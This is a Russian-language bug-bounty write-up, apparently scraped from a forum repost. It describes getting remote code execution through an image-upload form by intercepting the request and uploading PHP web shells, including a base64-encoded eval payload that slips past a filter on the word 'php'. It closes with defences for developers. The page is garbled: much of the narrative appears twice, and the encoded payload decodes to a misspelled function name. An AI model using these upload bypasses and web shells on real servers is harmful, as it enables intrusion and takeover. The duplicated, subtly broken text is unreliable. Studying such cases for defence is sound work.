stihl не предоставил(а) никакой дополнительной информации.
В этой статье покажу, как мне удалось найти уязвимость RCE (удаленное выполнения кода) через форму загрузки файлов. Если вы интересуетесь поиском уязвимостей и багбаунти, статья будет полезной для вас.
Еще по теме: Взлом LibreNMS с помощью RCE
Давайте подробно разберем шаги, которые привели к обнаружению RCE через загрузку файла.
Использование расширения Wappalyze (см. Для просмотра ссылки Войдиили Зарегистрируйся):

Использование Wappalyze
Проверка ответов:

Заголовки ответа
На основе информации о сервере Apache я решил попытаться эскалировать уязвимость для RCE.
В форму загрузки я попробовал загрузить файл с расширением .php, но на клиентской стороне было ограничение, разрешающее только изображения в формате .jpg и .png. Чтобы обойти это, я загрузил изображение и перехватил запрос с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
Когда запрос был перехвачен, я изменил расширение файла на .php и внедрил простой PHP-код для выполнения команд через метод GET:
Хотя сервер принял файл с расширением .php, он заблокировал выполнение PHP-кода из-за фильтрации на стороне сервера.
Я начал экспериментировать, постепенно убирая символы из кода и наблюдая за ответом сервера. После нескольких попыток я обнаружил, что сервер блокирует файлы, если в них встречается слово php. Если его нет, загрузка проходит успешно.
Заблокированный код:
Принятый код:
Но даже этот код загружался, но не выполнялся.
Затем я пробовал разные PHP-скрипты, все они успешно загружались, но ни один из них не выполнялся. Я не сдавался и подумал, почему бы не попробовать отправить код в закодированном виде?
Я создал PHP-скрипт с использованием кодировки Base64. Код выглядел так:
Внедрил этот код, и он успешно выполнился. Уязвимость RCE была найдена!

Внедрение вредоносного кода

Выполнение кода

Загрузка бэкдора и получение реверс-шелла
Эта уязвимость существовала по следующим причинам:
Еще по теме: Взлом LibreNMS с помощью RCE
Уязвимость RCE через загрузку файлов
Уязвимость RCE через форму загрузки файлов — это брешь в безопасности веб—приложения, позволяющая хакеру выполнить свой код на сервере жертвы. Это происходит, когда сайт разрешает пользователям загружать файлы, но недостаточно тщательно их проверяет. Атакующий может загрузить вредоносный файл, содержащий код, который будет выполнен сервером. В результате злоумышленник получает возможность выполнять команды на сервере, что может привести к краже данных, изменению информации или использованию сервера для дальнейших атак.Давайте подробно разберем шаги, которые привели к обнаружению RCE через загрузку файла.
Первый шаг — анализ сервера веб-приложения. Есть два способа это сделать:Материал представлен исключительно в образовательных целях для обучения багхантеров (этичные хакеры, которые занимаются законным взломом за вознаграждение. Несанкционированный взлом сайтов — это нарушение закона. Автор и администрация сайта spy-soft.net не несут ответственности за любое неправомерное использование данной информации.
Использование расширения Wappalyze (см. Для просмотра ссылки Войди

Использование Wappalyze
Проверка ответов:

Заголовки ответа
На основе информации о сервере Apache я решил попытаться эскалировать уязвимость для RCE.
В форму загрузки я попробовал загрузить файл с расширением .php, но на клиентской стороне было ограничение, разрешающее только изображения в формате .jpg и .png. Чтобы обойти это, я загрузил изображение и перехватил запрос с помощью Для просмотра ссылки Войди
Когда запрос был перехвачен, я изменил расширение файла на .php и внедрил простой PHP-код для выполнения команд через метод GET:
1 | <?php system($_GET['cmd']); ?> |
Я начал экспериментировать, постепенно убирая символы из кода и наблюдая за ответом сервера. После нескольких попыток я обнаружил, что сервер блокирует файлы, если в них встречается слово php. Если его нет, загрузка проходит успешно.
Заблокированный код:
1 | <?php system($_GET[‘cmd’]); ?> |
1 | <? system($_GET[‘cmd’]); ?> |
Затем я пробовал разные PHP-скрипты, все они успешно загружались, но ни один из них не выполнялся. Я не сдавался и подумал, почему бы не попробовать отправить код в закодированном виде?
Я создал PHP-скрипт с использованием кодировки Base64. Код выглядел так:
1 | <?=eval(base64_decode('ZWNobyBzaGVsbF91eGVjKCRfR0VUWydjbWQnXS4nIDI+JjEnKTs='));?> |

Внедрение вредоносного кода

Выполнение кода

Загрузка бэкдора и получение реверс-шелла
Эта уязвимость существовала по следующим причинам:
- Сервер не ограничивал типы файлов — мне удалось загрузить опасный файл с расширением .php.
- Каталог для загруженных файлов позволял выполнение скриптов, что дало возможность запускать мой PHP-файл.
- Веб-сайт не проверял и не фильтровал содержимое загруженных файлов должным образом.
Защита от подобных атак RCE
Разработчики могут предотвратить уязвимости RCE, следуя следующим рекомендациям:- Разрешайте загрузку только безопасных файлов, таких как .jpg, .png.
- Убедитесь, что файл соответствует своему расширению. Не полагайтесь только на расширение.
- Храните загруженные файлы в каталогах, где их невозможно выполнить, даже если они содержат вредоносный код.